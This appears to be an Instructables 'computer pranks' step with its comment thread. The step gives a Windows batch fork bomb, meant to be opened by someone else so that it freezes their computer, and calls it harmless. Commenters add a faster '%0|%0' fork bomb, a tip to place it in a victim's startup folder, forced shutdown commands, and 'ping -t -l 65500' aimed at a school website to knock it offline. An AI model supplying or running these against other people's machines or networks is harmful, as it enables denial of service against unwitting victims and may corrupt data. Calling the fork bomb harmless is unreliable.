3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

!!GREAT COMPUTER PRANKS !! computer commands using notepad and command prompt

Step 4Fork Bomb (BATCH)

Fork Bomb (BATCH)
This prank will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.
« Previous StepDownload PDFView All StepsNext Step »
34 comments
May 5, 2012. 3:15 AMahardman says:
I'd recommend this much smaller and faster fork bomb:
%0|%0

It will essentially do the same thing, only it will duplicate so rapidly, it is very difficult to kill the process before it takes over the entire system.
Dec 5, 2011. 6:07 PMyterrythemosteratlarge says:
you can stop it by task manager and closeing command prompt
Aug 2, 2008. 10:38 AMxenongamer says:
how do you stop it? "when you develop a weapon, you have to develop a counter weapon, and then develop a countewr for that counter weapon"
Oct 5, 2011. 2:22 PMneivadan says:
well xenogamer if you have windows then your in luck you have task manger as your counter weapon but if you have something different as an os for your computer you can just download it as freeware considering it's like a program management consle.Aslo with this you can log other people off the computer through task manger without theyre password **)
Jun 5, 2011. 9:22 AMaparida1 says:
b4 starting it start another batch "shutdown -l -t 00"
Mar 27, 2011. 11:12 AMlperkins says:
taskkill /IM /F a.bat

And while this prank is nominally harmless, it will crash the system, which can easily cause data corruption on Windows.
Aug 20, 2010. 5:59 AMusername431 says:
however, you could put in the file to open a file that would close all the programs on your computer. this would prevent you computer from falling for that exact fork virus, but allow it to atack others because it would be written something like this: @echo off :START start a.bat GOTO START start blackhole.bat in this case blackhole.bat would be written to close all programs (and in the same location as a.bat), where if run on another computer , the program wouldnt be in the same location, it might not have the same name, or it might not exist. for this to work, you would have to put blackhole.bat as hidden
Mar 23, 2011. 1:11 PMDeanGPotts says:
you could probably use the line shutdown -f -t 00 , all programs should close but the computer will stay on
Mar 23, 2011. 1:20 PMDeanGPotts says:
nope, never mind i just tried it, i was logged off and after i logged back in i couldnt connect to the internet, had to do a restert, was quite annoying though and i think if someone doesnt know whats actually happened they would be pretty freaked out about it
Dec 17, 2011. 5:49 AMthe dashing hero says:
hi, wienies!
Dec 22, 2011. 1:32 PMDeanGPotts says:
leid, was meinst du mit wienies bedeuten?
May 20, 2009. 11:04 AMDr Menguin says:
you can hold down CTRL+C
May 17, 2009. 12:16 PMsharlston says:
how do you get the freeze computer off to get the immage off?
Apr 30, 2009. 11:47 AM11rex11 says:
actually no its not if you are quick enough go to run in the start menu type in the file name like in this case you would type virus.bat -a that shuts down that program
Apr 11, 2009. 2:30 PMmusicninja17 says:
No, control + C should stop it.....
Apr 11, 2009. 9:36 PMxenongamer says:
copy stops it?... no, that won't work.
Apr 11, 2009. 10:17 PMmusicninja17 says:
http://www.instructables.com/id/SKY5R5OFHJMQY8X/

See this page.....also....the break key on your keyboard should do the trick also...
Oct 5, 2011. 2:15 PMneivadan says:
i got a better idea you can make it open up all the programs in your computer make it call more and more windows of those programs till your computer is dead!!!!
May 1, 2010. 1:26 AMgeekvig says:
You could also just type:
start batchfile.bat
and save it as batchfile.bat
Jan 18, 2010. 12:32 PMKaptainCaps says:
put this in someones start up folder and they will never be able to get on their file again >:D
Apr 6, 2008. 2:30 AMme! says:
add ping *your schools website address*
Oct 31, 2009. 2:51 PMgreenbean says:
No way! Type in

ping -t yourschooladdress
Dec 11, 2009. 3:58 PMmatbh says:
better use:
"ping -t - l 65500 address" (its L)
increase the ping package to 65500 bytes tha maximum of ping package size.

if u get time out or any error message, try to reduce the value.
Jul 29, 2008. 7:57 PMladiesman5477 says:
what does that do?
Dec 31, 2009. 11:09 AMKasm279 says:
 It overflows the website and knocks it offline.
Aug 25, 2008. 3:53 PMmettaurlover says:
something pure evil...
Sep 6, 2008. 11:08 PMSparkplug says:
lol thats bad!! =]
Sep 7, 2008. 11:40 AMKoolraap says:
omg no not ping, that's to evil!
Oct 13, 2008. 3:27 PMkaz11126 says:
seriously, what does that do??
Aug 20, 2009. 9:10 AMWin7Maniac says:
Holy crap, dude!!! I just figured out myself from reading me!'s comment!!! It bombards the site with requests untill the site run's out of bandwidth! Then the site can't take anymore and it crashes! Dude, pure evil. But that is illegal and yes, Koolraap is right, you can get thrown in jail. This is what happened to Friendster's site, but the pings came from so many places that they couldn't be tracked. You, though, can be tracked. Also, your computer would crash befor the school's network would.
Sep 16, 2009. 9:52 AMsharlston says:
i thought it tells you the websites ip address
Sep 16, 2009. 2:18 PMWin7Maniac says:
ping. it "pings" the server with packets. You could probably find the IP on whois.gov.
Oct 15, 2008. 7:53 AMKoolraap says:
we can't tell, or the CIA will bust out asses, if FBI isn't here first
Sep 25, 2008. 4:56 AMme! says:
lol, might as well make the packets 1MB while your at it, eh?
Oct 30, 2009. 4:30 PMgreenbean says:
Might as well, all though that is against pretty much any ISP service agreement. And illegal.
Nov 10, 2008. 10:39 PMDELETED_evilfrogie says:
(removed by author or community request)
Dec 31, 2009. 11:11 AMKasm279 says:
 Most schools don't host the site on their own internet. Our school hosts theirs on one of the ISP's servers.
Dec 31, 2009. 12:31 PMmettaurlover says:
The school I go to hosts its site on its own servers. I've seen them. They take up a whole room in the basement.
Sep 16, 2009. 7:24 PMcorey_caffeine says:
unless you trigger it from a school computer

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
42
Followers
7
Author:dean-101